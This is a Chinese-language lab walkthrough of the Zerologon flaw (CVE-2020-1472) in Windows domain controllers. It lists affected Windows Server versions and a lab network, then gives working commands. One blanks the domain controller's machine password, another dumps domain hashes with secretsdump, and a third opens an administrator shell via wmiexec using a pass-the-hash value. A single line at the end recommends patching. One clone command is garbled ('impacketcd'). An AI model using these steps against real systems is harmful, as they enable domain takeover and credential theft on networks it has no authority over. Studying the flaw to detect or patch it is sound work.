漏洞简介:[出自:jiwo.org]
CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空。
影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
环境简介:
DC
DC_SYSTEM_VERSION :Windows Server 2012
DC_NETBIOS_NAME :WIN-C6KMJKLHIKV
DC_IP_ADDR :192.168.195.102
Attack
ATT_SYSTEM:kali
ATT_IP_ADDR:192.168.195.100
Python_VERSION:3.8.5
漏洞验证:
利用如下POC进行漏洞验证
https://github.com/dirkjanm/CVE-2020-1472
执行脚本后如果有下图提示,则漏洞存在
python3 zerologon_tester.py WIN-C6KMJKLHIKV 192.168.195.102
漏洞利用
流程如下:
1、 置空域控保存在AD中的密码
2、 获取域控用户HASH
3、通过获取到的管理员HASH得到一个SHELL
EXP: https://github.com/SecuraBV/CVE-2020-1472
**注:**如果操作过程中出现如下报错:
AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2’
重新安装最新版本的impacket
git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket
pip install . (后面有个点,代表当前目录)
1、置空密码
python3 cve-2020-1472-exploit.py WIN-C6KMJKLHIKV 192.168.195.102
这时候密码已经置空
注意:对域控服务器有影响,谨慎使用
2、获取HASH
python3 secretsdump.py WIN-C6KMJKLHIKV$@192.168.195.102 -just-dc -no-pass
3、获取SHELL
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@192.168.195.102
修复建议
安装相应操作系统的漏洞补丁